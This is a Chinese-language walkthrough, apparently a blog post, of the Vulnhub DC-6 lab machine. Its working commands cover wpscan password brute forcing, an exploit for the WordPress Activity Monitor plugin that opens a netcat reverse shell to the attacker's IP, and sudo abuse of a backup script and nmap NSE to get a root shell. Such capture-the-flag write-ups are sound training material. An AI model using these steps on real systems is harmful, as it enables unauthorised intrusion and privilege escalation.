前言
这次练习的靶机是vulnhub平台下的DC系列靶机第六台,下载地址为https://www.vulnhub.com/entry/dc-6,315/。挑战该靶机的最终目的是获取root权限,然后读取唯一的flag。
这次在靶机下载的页面,官方给出的线索,在接下来的破解中需要用到这条线索。
虚拟机配置
这次采用的网络连接模式依然是NAT模式,为了避免扫描到其他物理主机。在导入虚拟机后,右击DC-6靶机,然后选中配置。依次点击网络配置
->NAT模式
->高级
->生成
,然后确认即可。
然后需要溢出CD/DVD选项,启动时候会自动检测并连接CD/DVD,如果连接不上就会导致启动不了虚拟机。当然如果不移除该设备的话,去掉勾选启动时连接
也是可以的。
收集信息
nmap -sn --min-parallelism 200 --min-hostgroup 256 192.168.119.0/24
-sn 代表存活主机扫描,不进行端口测探。
–min-parallelism 代表调整探测报文的并行度,也就是在扫描同一台主机时会发送很多个探测数据包,这个参数指定的数即nmap一次至少要发多少个数据包。
–min-hostgroup 代表调整并行扫描组的大小,也就是一次性同时对多少台主机进行扫描。
更详细内容可以参考:https://zhuanlan.zhihu.com/p/322244582,关于nmap的一些性能参数的学习。
发现靶机的IP地址为 192.168.119.166
,然后用nmap对靶机进行详细地扫描。
nmap -A -sV -p- --min-parallelism 200 192.168.119.166
-A 代表综合性扫描,能收集很多重要的信息
-sV 代表扫描主要的服务信息
-p- 参数p是指定端口,后面的
-
代表所有端口。
发现开放了 80
端口和 22
端口,对于22端口可以尝试一下ssh的暴力破解,对于80端口可以打开网站进行进一步分析。我们还发现了一句 _http-title: Did not follow redirect to http://wordy/
,这一句扫描报告在我们挑战DC-2的时候也看到过,这说明直接输入IP是打不开的,需要配置一下hosts文件,设置一下域名wordy到靶机IP的解析。具体原因这里就不细说了,可以看前面博文进行了解:https://blog.csdn.net/rpsate/article/details/119641205。
修改hosts文件
首先打开hosts文件:
vim /etc/hosts
然后写入:
192.168.119.166 wordy
保存并退出,然后在地址栏输入 http://wordy
即可打开网站了,注意是 http
,不是 https
。
暴力破解
针对WordPress网站练习的靶机在前面已经挑战过好几个了,这次我们还是使用老方法,首先枚举出该网站的用户名。
wpscan --url wordy -e u
枚举出了五个用户名: admin
,sarah
, graham
, mark
, jens
,把这个五个用户名保存在一个文件 user.txt
里,如下图所示:
我尝试使用常用密码字典暴力破解,但是没有破解出来,这时候想起了靶机作者的提示:
作者告诉我们用巨型字典来破解的话我需要五年的时间,我估计我的电脑支撑不了那么久!他还告诉我们把kali自带字典 rockyou.txt
中包含k01的密码导出来生成 一本字典的话会节省很多时间。好,那我们现在就把含有k01的密码提取出来。
cat /usr/share/wordlists/rockyou.txt|grep k01 > passwords.txt
cat 表示读取并输出到终端。
| 表示用“|”前面输出的数据给“|”后面命令做处理。
grep 表示用正则表达式匹配数据
> 表示将输出数据写入“>”后面文件。
这一句就是读取rockyou.txt的数据给grep来匹配,匹配到包含k01的数据就写入passwords.txt中。
现在用户名文件和密码字典文件都有了,可以开始暴力破解了。
wpscan --url wordy -U user.txt -P passwords.txt
已经成功破解出了一个账号的密码。
获取shell
接下来就登陆后台,在后台主题设置模块可以修改php文件,我们可以写入一句话木马到php文件中,然后建立shell。根据经验知道WordPress的后台登陆地址为 /wp-login.php
。
但是登陆后没有发现注意设置模块,只能简单的管理帖子评论与普通 账号。但我们还发现了一个插件 Activity monitor
,我们可以用searchsploit搜索一下有没有该插件的漏洞。刚刚用wpscan扫描的时候没有扫描出这个插件,所以wpscan的扫描并不是完全准确的。
searchsploit Activity monitor
发现了两个漏洞,前面两个并不是WordPress的插件漏洞。下面就尝试一下 45274.html
这个漏洞利用文件。
searchsploit -m 45274
将45274.html这个文件复制到当前目录
然后查看45274.html并修改代码,代码中的一些IP地址是需要修改成自己的IP地址的。
vim 45274
如上图用红框圈出来的就是在靶机的域名和将要在靶机上执行的命令。首先将域名改成:
http://wordy
然后再看这条命令,很明显就是建立shell的命令,我们把它改成我们熟悉的命令:
nc 192.168.119.130 4443 -e /bin/bash
依然要注意IP地址为自己本机的IP地址。
修改后保存并退出,然后再本地监听4443端口:
rlwrap nc -lvnp 4443
然后再用浏览器打开45274.html
,打开后的界面如下图所示,我们接着点击页面上的一个按钮。
点击按钮后再看到监听窗口,发现已经收到了靶机传过来的数据,这时候反弹shell已经建立好了。
然后对shell升级:
SHELL=/bin/bash script -q /dev/null
这句命令已经在前面详细讲解过了,了解详细内容可以参考:https://blog.csdn.net/rpsate/article/details/119257419。
提权
首先尝试了一遍suid提权,没有找到可以提权的文件,然后到配置文件发现了mysql的账号和密码,有道数据库里逛了逛,还是没有发现可以利用的信息。最后在mark的家里发现了一个很重要的文件:things-to-do.txt
。
cat /home/mark/stuff/things-to-do.txt
发现了账号 graham
的密码为 GSo7isUM1D4
,跳转到graham账号看看有什么发现。
su graham
跳转到graham用户后,再尝试一次有没有suid提权或其他一些敏感文件。执行命令:
sudo -l
我们发现graham可以用jens的身份执行 /home/jens/backups.sh
,把 /bin/bash
追加到这个文件,然后用jens的身份执行这个文件的时候就会打开一个具有jens权限的shell。
cd /home/jens
echo '/bin/bash' >> backups.sh
sudo -u jens ./backups.sh
这次切换到了jens用户,我们再次查看一下可不可以使用suid提权,执行 sudo -l
查看一下有没有可以提权的命令。
发现可以用root权限执行nmap,nmap在早期版本是可以用来提权的,我们来尝试一下nmap提权。将提权代码 os.execute("/bin/sh")
写入一个文件中。
echo 'os.execute("/bin/sh")' > rootshell.nse
然后以root的权限用nmap执行这个脚本:
sudo nmap --script=rootshell.nse
现在就已经提权成功了,可以读取最后的flag了。
cd /root
cat theflag.txt
参考文献
[1] https://zhuanlan.zhihu.com/p/149725645,Kali(渗透工具):WPScan的使用(WordPress扫描工具)
[2] https://blog.csdn.net/zijiaijd/article/details/117165224,nmap提权几种方式
[3] https://blog.csdn.net/rpsate/article/details/119257419,hack the box oopsie 靶场练习
[4] https://zhuanlan.zhihu.com/p/322244582,https://zhuanlan.zhihu.com/p/322244582
[5] https://blog.csdn.net/rpsate/article/details/119641205,vulnhub DC2 靶场练习